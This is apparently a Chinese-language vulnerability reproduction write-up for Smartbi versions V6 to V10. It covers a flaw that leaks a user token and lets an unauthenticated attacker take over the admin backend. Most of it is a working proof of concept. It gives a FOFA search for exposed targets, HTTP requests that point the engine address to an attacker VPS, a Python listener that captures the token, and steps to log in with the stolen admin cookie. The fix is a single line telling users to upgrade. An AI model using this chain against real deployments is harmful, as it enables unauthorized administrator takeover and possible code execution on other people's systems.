0x01 产品简介
Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。
0x02 漏洞概述
Smartbi在特定情况下可被获取用户token,未经授权的攻击者可通过这种方式获取管理员权限,从而以管理员权限接管后台,进一步利用可实现任意代码执行。利用此漏洞需目标可出网。
0x03 影响范围
V6 <= Smartbi <= V10
0x04 复现环境
FOFA:app="SMARTBI"
0x05复现过程
1.通过爱站网发现txxx.xx归属于xxx数字科技有限公司,如同所示:
2.漏洞URL:http://00.00.00.00/general/login/index.php
- 利用poc
更新内部引擎地址
POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/json
http://vpsip:8000
查看是否更新成
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json
在vps上启动脚本
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
print(f'Received data: {post_data}')
# 解析post_data,并构建要返回的JSON数据
data = json.loads(post_data)
response = {'message': 'Data received successfully'}
# 设置响应头和状态码
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
# 将JSON数据转换为字节流并发送回客户端
self.wfile.write(json.dumps(response).encode('utf-8'))
def run_server():
server_address = ('', 8000)
httpd = HTTPServer(server_address, RequestHandler)
print('Server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run_server()
开启监听,发送token
POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/json
得到管理员cookie
验证是否可用
POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json
获取到的管理员token
替换cookie
刷新,成功进入
0x06 修复建议
目前官方已修复以上漏洞,受影响用户可以升级更新到安全版本。